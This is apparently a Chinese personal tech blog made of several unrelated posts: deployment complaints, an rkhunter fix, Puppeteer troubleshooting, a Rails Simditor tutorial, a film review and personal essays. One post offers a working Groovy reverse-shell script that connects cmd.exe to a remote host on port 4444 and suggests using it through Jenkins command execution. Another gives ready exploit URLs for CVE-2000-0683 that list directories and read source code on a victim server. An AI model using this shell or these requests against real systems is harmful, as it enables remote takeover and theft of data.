Linux和Linux是有区别的。

按Boss的要求在一台CentOS 6上面部署业务,我写的程序是一个基于Rails的Web调度页面,下面挂了一个Python写的数据处理程序。

部署时候被几个小问题折腾到现在,头晕脑胀,来这里发发牢骚。

首先是CentOS6的源里面缺少太多必要的软件包,Rails的SASS相关的GEM用不了,好在界面简单,直接砍掉了这些GEM,搞定。

然后CentOS6自带的Python版本是2.6,根本无法通过pip去装我要的包。

于是在源里面找Python3,安装以后,pip3可以装我要的第三方包了,但装好提示无法使用。

因为rh源里的Python3装完是在/opt/rh/XXX目录下的,即使在/usr/bin/建立了软链接,site-packages里的包也照样用不起来。

归根结底还是因为我的Python水平太菜了,不知道怎么处理Python的依赖问题。

再然后,想着不用rh源里的Python3可能会好点,于是下了源码包编译安装。可是加上–with-ssl选项编译后,自己编译的Python仍然没有ssl模块。

而pip3在线安装依赖包时,又需要使用ssl模块去和pypi.org建立连接。

好吧,那就直接去Pypi上直接下载whl回来安装吧,可是安装好以后又报一样的错,提示找不到模块。

到这一步我是很绝望的,并不是因为自己解决不了这个问题,而是因为根本不想和这样简单又没有意义的问题死耗着。

2019.06.13更新:解决方法

首先这种问题是显然可以解决的,我们先从战略上和战术上一起忽略它,但是这个繁琐的纠缠过程引发了我的如下思考。

理论上来说,这种配置层面的问题,是完全可以通过合适的底层平台来避免的,例如使用更新的操作系统。

已经9102年了,再用CentOS6显然是不合理的,然而仍旧有一批干活的人,喜欢死守陈旧的东西。于是,整个生态就全都需要迁就于这个搭建底层系统的人。

工匠的时间,应该花在更值得琢磨的事情上,而不是解决一个又一个这样的脚本层面的脑残问题。浪费时间的同时又不能给自己带来任何成就感。

所以每当有学生和网友,问我很多简单的问题时,我都会劝他们转行。因为IT工程师圈子里,实在不需要更多庸才了,如果没有解决小问题的能力,就行行善别进这个圈子吧,干哪行不能混口饭吃呢。

至于那些能够通过悟性、思考和努力,掌握了计算机特性的人,自然有成为一个出色工程师的天分,他们并不会因为一两句冷嘲热讽就心灰意冷(如果会,同样说明不适合这个圈子)。反而会更加努力地去钻研出答案,以此来证明自己。他们也不会记恨曾经的嘲讽,显然,克服人性,摆脱情绪,是成为任何一个领域的高手所必须要有的修养。否则德不配位,爬的越高,摔的越痛。

说的深了。不过此文本身就是一篇扯淡文,也无妨。

其实,我只是想说,Linux和Linux是不一样的。CentOS这种东西,能称得上是Linux吗?体系怪异,脉络紊乱,必定难成气候,我话就撂这儿了。

未来操作系统的格局,西半球,一定是属于Debian的。

rkhunter是一个Linux下自动检测rookit的脚本,使用时需要依赖数据库。在执行rkhunter --update进行更新操作时,也许会报以下错误:

1
Invalid WEB_CMD configuration option: Relative pathname: "/bin/false"

修复这个错误的方法很简单,编辑/etc/rkhunter.conf文件,找到其中的以下选项:

  • UPDATE_MIRRORS=0
  • MIRRORS_MODE=1
  • WEB_CMD=”/bin/false”

分别将UPDATE_MIRRORS=0改为UPDATE_MIRRORS=1,将MIRRORS_MODE=1改为MIRRORS_MODE=0,以及将WEB_CMD="/bin/false"改为WEB_CMD=""即可。

再次运行rkhunter --update,错误消失。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
root@debian:~#rkhunter --update
[ Rootkit Hunter version 1.4.2 ]

Checking rkhunter data files...
Checking file mirrors.dat [ No update ]
Checking file programs_bad.dat [ Updated ]
Checking file backdoorports.dat [ No update ]
Checking file suspscan.dat [ No update ]
Checking file i18n/cn [ Skipped ]
Checking file i18n/de [ Skipped ]
Checking file i18n/en [ No update ]
Checking file i18n/tr [ Skipped ]
Checking file i18n/tr.utf8 [ Skipped ]
Checking file i18n/zh [ Skipped ]
Checking file i18n/zh.utf8 [ Skipped ]

分享一条使用纯Groovy反弹shell的脚本,摘抄自Github。

出处:

https://gist.github.com/frohoff/fed1ffaab9b9beeb1c76

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19

String host="1.1.1.1";
int port=4444;
String cmd="cmd.exe";
Process p=new ProcessBuilder(cmd).redirectErrorStream(true).start();
Socket s=new Socket(host,port);
InputStream pi=p.getInputStream(),pe=p.getErrorStream(), si=s.getInputStream();
OutputStream po=p.getOutputStream(),so=s.getOutputStream();
while(!s.isClosed()){
while(pi.available()>0)so.write(pi.read());
while(pe.available()>0)so.write(pe.read());
while(si.available()>0)po.write(si.read());so.flush();
po.flush();
Thread.sleep(50);
try {p.exitValue();break;}catch (Exception e){}
};
p.destroy();
s.close();

可以用在Jenkins的命令执行中,用于反弹Shell。

今天为某金融公司做测试,在系统中发现了一枚很老的漏洞 CVE-2000-0683 ,Nessus里面给出的漏洞评级是中危,但是经过测试,发现是一个危害很高的漏洞。

在以前的测试过程中还没有遇到过这个洞,也许是我孤陋寡闻了,但也许有很多人和我一样不知道的,所以在这里简单分享一下。

相关介绍

Tenable Nessus关于该漏洞的描述:

https://www.tenable.com/plugins/nessus/11604

这个漏洞利用起来很简单,只需要在URL中加入/*.shtml/就可以列目录或者读源码,例如:假设漏洞位于http://victim.com/,那么如果想要列目录,只需要请求:

http://victim.com/*.shtml/
http://victim.com/*.shtml/admin/
http://victim.com/*.shtml/config/

即可列出相应目录下的文件。

如果需要读取源代码,只需要请求

http://victim.com/*.shtml/index.jsp
http://victim.com/*.shtml/admin/login.jsp
http://victim.com/*.shtml/config/config.jsp

即可读取相应的源代码。

实战利用

以下是我的测试过程。

列目录:

读源码:

漏洞修复

内容来自相关供应商(BEA security advisory BEA00-03.00):

(1) Apply the “Show Code” vulnerability patch available from BEA Technical Support. This patch is available for:
Version:

  • The J-Engine in BEA WebLogic Enterprise 5.1.x
  • BEA WebLogic Server and Express 5.1.x
  • BEA WebLogic Server and Express 4.5.x

Action: Contact BEA Technical Support at support () bea com for patch.

(2) Once the patch has been applied, review the weblogic.propertiesfile and ensure that the following changes have been made:

weblogic.httpd.register.file=weblogic.servlet.FileServlet
weblogic.httpd.initArgs.file=defaultFilename=index.html
weblogic.httpd.defaultServlet=file

should be changed to:

weblogic.httpd.register.*.html=weblogic.servlet.FileServlet
weblogic.httpd.initArgs.*.html=defaultFilename=index.html
weblogic.httpd.defaultServlet=*.html

Future Service Packs for BEA WebLogic Server and Express will also contain the patch to address this vulnerability.

本漏洞分享仅供学习交流,请勿用于从事非法活动。

祸兮 福之所倚
福兮 祸之所伏

老子 道德经

今年从年初开始,心里就有一种隐隐的不详预感,而且感觉是和开车有关,果然昨天撞了一下。

算是开车以来最严重的一次事故了,后车门瘪了进去,4S店的人说要换车门,换侧板。

既觉得有点郁闷,又有一点庆幸。还好是和小轿车相撞,如果是大卡车,那此时恐怕我已经无法在这里安心码字了。

如今心里的一块石头落了地,第六感这种东西,究竟准不准呢?

且不谈这些,最近重读《道德经》,颇有感悟。这部经典,值得细细品读。

想来就如老子所说福祸相倚,这次的祸,岂不是就潜伏在此前的“福”中吗,之前开车时候所有的大意马虎、粗心分神,都是此祸之伏笔。

弱冠已过,即赴而立。岁月平添,偶积了二三阅历,对世事亦浊亦清,似是到了钻研易学之时。这一次带着“当位”的架构思想去重新解读易经的每一卦,要比以前看的时候清晰一些了。

所谓书读百遍,其益自现,希望能有更多收获,吸取些营养,届时也好来这里分享。但是读懂之前,绝不妄言。

就叙到这里吧,这次的事情要好好反省。运在自己手里攥着,命在老天爷掌上把着。

一切行事,不可不谨慎。愿诸君共好。

在以root用户运行Puppeteer程序时,遇到一些错误,这里记录下解决的过程。
首先提示一个X11错误,这是因为我在服务器上运行Chrome,而服务器没有安装桌面环境导致的。
安装以下依赖项即可,以Debian系统为例:

1
apt-get install gconf-service libasound2 libatk1.0-0 libc6 libcairo2 libcups2 libdbus-1-3 libexpat1 libfontconfig1 libgcc1 libgconf-2-4 libgdk-pixbuf2.0-0 libglib2.0-0 libgtk-3-0 libnspr4 libpango-1.0-0 libpangocairo-1.0-0 libstdc++6 libx11-6 libx11-xcb1 libxcb1 libxcomposite1 libxcursor1 libxdamage1 libxext6 libxfixes3 libxi6 libxrandr2 libxrender1 libxss1 libxtst6 ca-certificates fonts-liberation libappindicator1 libnss3 lsb-release xdg-utils wget

接着就是报了一个sandbox错误,报错内容是这样的:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
(node:4963) UnhandledPromiseRejectionWarning: Error: Failed to launch chrome!
[0428/104254.469304:ERROR:zygote_host_impl_linux.cc(89)] Running as root without --no-sandbox is not supported. See https://crbug.com/638180.


TROUBLESHOOTING: https://github.com/GoogleChrome/puppeteer/blob/master/docs/troubleshooting.md

at onClose (/root/monkey/node_modules/puppeteer/lib/Launcher.js:342:14)
at Interface.helper.addEventListener (/root/monkey/node_modules/puppeteer/lib/Launcher.js:331:50)
at emitNone (events.js:111:20)
at Interface.emit (events.js:208:7)
at Interface.close (readline.js:370:8)
at Socket.onend (readline.js:149:10)
at emitNone (events.js:111:20)
at Socket.emit (events.js:208:7)
at endReadableNT (_stream_readable.js:1064:12)
at _combinedTickCallback (internal/process/next_tick.js:138:11)
(node:4963) UnhandledPromiseRejectionWarning: Unhandled promise rejection. This error originated either by throwing inside of an async function without a catch block, or by rejecting a promise which was not handled with .catch(). (rejection id: 1)
(node:4963) [DEP0018] DeprecationWarning: Unhandled promise rejections are deprecated. In the future, promise rejections that are not handled will terminate the Node.js process with a non-zero exit code.

不了解具体的含义,但是从sandbox来看,应该是和Chrome的安全沙箱有关,单纯的想解决这个问题,只需要在代码中加入--no-sandbox启动Chrome的参数即可。

Example:

1
2
3
4
5
6
7
const puppeteer = require('puppeteer');
(async () => {
const browser = await puppeteer.launch({args: ['--no-sandbox']});
const page = await browser.newPage();
await page.goto("https://www.baidu.com");
await browser.close();
})()

Tips:

但是这样做可能会造成一些风险,主要是Chrome的sandbox会多一些安全特性(我理解的),如果是将Node的代码作为生产环境运行在产品中,还是需要谨慎一些的,确保请求的站点安全可信(最好不信)。

开头一点点废话

以前还没在博客写过有关电影的内容,其实电影一直是鄙人一大爱好。好的电影就像好书,往往给人深刻的启发。就题材角度而言,我常看的有科幻片、文艺片、历史传记片等等,很多片子其实是拿来消磨时间的,归根到底,我真正喜欢的是一些内容较为深刻,又充满灵性的电影。从内容上,能够吸引我的电影就更多了。这里本想列举几部的,但尝试在脑海里搜索一遍发现简直列举不完,公平起见,就不列了,以后有机会再慢慢为一些好的电影补上我的三言两语,算做不堪成文的“影评”吧。
这是我的第一篇影评,所以开头写上这些无关的话。以下是正文。

过春天

这次因为偶然,看到了这部叫做《过春天》的电影。香港电影,有些真的是十分有趣味。在此之前,印象最深刻的香港文艺片是《人间小团圆》,这些有味道的港片让我深深感觉到香港电影市场的包容,也觉得港片的未来很有希望。

《过春天》讲的是一个16岁青春期的小女孩佩佩,梦想着和闺蜜一起去日本泡温泉,赏樱花,通过做兼职、买手机壳来攒钱,最后因为一次相遇,而意外成了携带苹果手机从香港往深圳过关的“水客”的故事。具体的剧情就不详细描述了,有缘的看客,你可以自己去欣赏这部清新的文艺港片。

只想谈谈几点感悟。

每个青春都是一场暴风雨

每个青春里的少年就像是不规则运动的分子,在尘埃落定之前,永远也不知道,下一秒,会在哪里,遇见谁,而那个人又将怎样改变自己的一生。就像电影里的佩佩,青春期的孤独和倔强她都有,却唯独少了世故和圆滑,所以遇见谁,就会走近谁,哪怕对方是走私的“水客”,甚至是运枪的社会姐。而更多”睿智体面“的成年人,学会了选择和谁交往,又远离谁。

每个青春都是一场暴风雨,在这场雨里,难辨方向,有的人满身泥泞,有的人伤痕累累,唯独没有人能够全身而退。

每个梦想都不应该被辜负

佩佩和Joe约好去日本,赏樱花看雪,后面的果都是因为这个因,可到最后也没能实现这个简单又华丽的梦。也许,走过青春就注定了要辜负梦想?

没有到来过的爱情,也许才真的存在过

佩佩的青春里,阿豪就是划过的一道彗星。彗星又叫做扫帚星,阿豪给佩佩带来了走水的危险,带来了友情的破裂,却又让佩佩的青春从此有了波澜。在这部片子里值得肯定的一点是,导演从头到尾都没有加入情欲的画面,反而用巧妙的手法化解了山雨欲来的尴尬,很适合作为一部青春启蒙片,哈哈。

青春期的爱情,懵懂的喜欢,似是而非,似有还无,让很多人一生之中都常常追忆。可能那不是爱情,又亦或反之。

小人物的生存

社会的规则,把我们隔成了一层一层,一圈一圈。而我们的轨迹,细想来,其实从青春时期便初现端倪了。片中的水客让我想起如今的社会,大人物忙着制定规则,运筹于各自的帷幄,小人物们则在规则之间周旋,谋着各自的余生。皇天厚土,可曾将谁善待?

心头点点

还有一些感悟,细想来,皆是些零星片段,难成体系,多说无益。

引一位网友的短评了却此文吧。

过了这道关,要说英文写繁体,像鱼群挤到水面呼吸空气;进了这道门,要被监控陪笑脸,在大鱼吃小鱼的规则里谋生。没教鲨鱼游泳就扔进大海,没让城市变冷就盼望落雪,没给手枪装弹就扣动扳机,没给货船检查就驾驶出海。把飞机当成流星祈祷,把失火当成福兆祈愿。反正过得了春天,也过不了青春这道险关。

豆瓣网友-西楼尘

时间过得也不算快,2018年3月30号在杭州的记忆还很清晰,如今才时隔一年,一年里发生了一些变化。
时间过得又挺快的,2012年9月至今已经过了六年半了,社会和我们都发生了很大变化。

此去杭州,见到了大学的伙伴们。我们毕业多年又相聚在一起,交流技术,感觉就像是回到了大学时期。

那个时候我们每个周五定期会在实验室举办周会,大家轮流分享自己那一周所研究的技术,就是这样,我们一起漫步到了今天。那个时候大家分享的内容多半很粗浅,但是谁不是一开始都这样踉跄着在技术的路上前行呢,人生之路亦如此吧。

这次见面,大家都有了很大的改变,风度翩翩的少年,有的已经开始大腹便便,桀骜转为了自嘲,忧愁化作了幽默。有的人已经成家,成为了父亲,有的人还在漂泊,执着为了爱情。伙伴们的心智开始变得成熟,每个人都能在工作岗位上独当一面,我们这些人,亦是历史巨轮上的木板和螺钉。

因为爱好而聚在一起,没有利益的纠缠,伙伴之间的关系就很纯粹,那种结伴同行,感动又熟悉。

跟着他们学习,看看他们的世界,多反省自己,多翻新自己。

也谈些实际的,我们的团队,发展的还是太慢了。一个技术团队的成长,我认为首先得充分认清现状,同时谋划一个共同的目标。向着这个目标,每个人发挥出自己独特的擅长的部分,尽量克服阻碍发展的一些人性上的弱点,携手前进。

期待以后的相聚,可聊的话题会变多,武能聊技术,文能聊带娃。

有时候其实也不是一定要说话,坐坐抽烟喝酒寒暄,也挺好的。

在这个疯狂的世界,让我们静静地做一群鸟人,在这片土地努力地生活。

与人相处,自律之

严以律己,宽以待人。

人生在世,得认识到的一个真相是不能要求所有人都跟自己一样。

即使是要求别人能够站在自己的立场上理解自己,都是有点过分的,大家都是九年制义务教育,凭什么要我去理解你呢?

如果别人能够理解你,就在心里默默感恩吧。

如果别人能够理解你,还选择站在你身边,那就更应该珍惜了。

反过来想想,自己难道就能一直满足别人的期待吗?

每个人的脑路不同,脑路即思路。问题是水,脑路不同,问题之水的流向就不同,怎么能轻易做到一致呢?

所以但凡与人协作行事,其一要达成共识,其次要体谅他人的难处。

在共识的基础上,严以律己,宽以待人。

与己相处,自律之

如果说与人相处时的自律,是一种相对的自律,那么和自己相处时的自律,就是自律的一致性体现了。

自律不是一味地纠偏,取左或取右。

自律是在充分认识到人作为一种动物,内在和外在都存在一定的局限性之后,去进行探索实践过程的一种必要素质。

自律,在律眼、耳、鼻、舌、身、意。

这篇文字,虽然叫做谈自律,但自己如今还不能够做到充分地自律,记此勉励自己,继续前进,继续修行。

找Rails靠谱的编辑器是不是找了好久了?别找了,就用Simditor吧。
要如何在Rails中完美集成这样一个简洁大气又好用的编辑器呢?我们都知道,在高版本的Rails中使用CoffeeScript已经成为了一种习惯。所以本文将以CoffeeScript作为粘合剂来演示如何集成Simditor编辑器到Rails应用中,同时采用Rails原生的ActiveStorage作为上传支撑。

事先声明下我的环境配置:
Ruby: ruby 2.4.1p111 (2017-03-22 revision 58053) [x86_64-linux]
Rails: Rails 5.2.2

1. 准备工作

首先我们新建一个Rails项目,在命令行中,运行rails new Demo,待工程创建好以后我们进入Demo目录,新建一个脚手架。这里我们就以Article作为脚手架的名字,运行rails g scaffold Article title:string content:text

创建好之后,运行rails db:migrate,迁移数据库

此时,将simeditor添加到Gemfile中。修改Gemfile,加入以下内容并执行bundle(simditor需要jquery的支持)。

1
2
gem 'jquery-rails'
gem 'simditor'

并在app/assets/javascripts/application.js中加入simditor的引用,此处需要注意,下面两行代码需要添加在//= require_tree这行代码之前,否则会出错。

1
2
3
//= require jquery
//= require simditor
//= require_tree .

同时需要在app/assets/stylesheets/application.css中加入simditor的样式文件:

1
*= require simditor

启动Rails应用,在浏览器中访问/articles/new,此时的界面如下:

到这里,准备工作就完成了。

2. 修改编辑框,集成Simditor

按照Rails的命名惯例,此处编辑框textarea的ID是article_content,我们的CoffeeScript脚本中,则需用选择器来绑定这个text_area。

修改app/assets/javascripts/article.coffee,加入以下内容:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
$(document).on "turbolinks:load", ->
editor = new Simditor(
textarea: $('#article_content')
toolbar: [ 'bold', 'italic', 'underline', 'strikethrough', 'color',
'code', 'blockquote', 'link', 'image', 'ol', 'ul', 'table', 'indent','outdent','alignment']
pasteImage: true,
fileKey: 'file',
upload: {
url: '/images',
params: {"content":"image"},
connectionCount: 3,
leaveConfirm: '有图片正在上传,确定要离开?'
})

再次在浏览器中访问/articles/new,界面变成了这样:

此时Simditor已经集成到了应用中了。

3. 使用ActiveStorage配置上传功能

ActiveStorage是Rails 5.2 以后推出的用于专门管理Web上传内容的组件,和ActiveRecord一样,是一个很方便同时又很强大的Rails Web开发组件。想要集成基于ActiveStorage的上传功能,首先要在我们的应用中安装ActiveStorage:

运行rails active_storage:install然后再运行rails db:migrate:

1
2
3
4
5
6
7
8
9
root@debian:~/Demo# rails active_storage:install
Copied migration 20190327123314_create_active_storage_tables.active_storage.rb from active_storage
root@debian:~/Demo# rails db:migrate
== 20190327123314 CreateActiveStorageTables: migrating ========================
-- create_table(:active_storage_blobs)
-> 0.0050s
-- create_table(:active_storage_attachments)
-> 0.0027s
== 20190327123314 CreateActiveStorageTables: migrated (0.0086s) ===============

迁移完成以后,我们新建一个Upload控制器,使用rails g controller Upload命令生成它。修改Upload控制器代码,位于app/controllers/upload_controller.rb,添加一个upload方法:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
#app/controllers/upload_controller.rb
class UploadController < ApplicationController

skip_before_action :verify_authenticity_token, :only => [:upload]

def upload

puts "*"*64
puts params

blob = ActiveStorage::Blob.create_after_upload!(
io: params[:image],
filename: params[:image].original_filename,
content_type: params[:image].content_type
)

if blob.save
success = true
msg = 'upload success'
else
success = false
msg = "upload error"
end

render json: { :success=> success, :msg=>msg, :file_path=> rails_blob_path(blob) }

end

end


修改路由配置文件,指定我们的上传路由:

1
2
3
4
5
6
7
#config/routes.rb
Rails.application.routes.draw do
post 'images/upload' => 'upload#upload'
resources :articles
root to: 'articles#index'
# For details on the DSL available within this file, see http://guides.rubyonrails.org/routing.html
end

还要稍微修改一下我们的articles.coffee文件,改一下其中的上传路径和参数,用于Ajax提交图片:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
//app/assets/javascripts/articles.coffee
$(document).on "turbolinks:load", ->
editor = new Simditor(
textarea: $('#article_content')
toolbar: [ 'bold', 'italic', 'underline', 'strikethrough', 'color',
'code', 'blockquote', 'link', 'image', 'ol', 'ul', 'table', 'indent','outdent','alignment']
pasteImage: true,
fileKey: 'file',
upload: {
url: '/images/upload', //<==上传接口
fileKey: 'image', //<=参数名称
params: {"content":"image"},
connectionCount: 3,
leaveConfirm: '有图片正在上传,确定要离开?'
})

至此,已经可以在页面中正常地上传文件了,也可以直接从粘贴板复制文件,Simditor会自动上传文件:

本文涉及到的代码已经上传到Github,仓库链接:https://github.com/Chorder/RailsSimditorActiveStorageDemo

Your browser is out-of-date!

Update your browser to view this website correctly. Update my browser now

×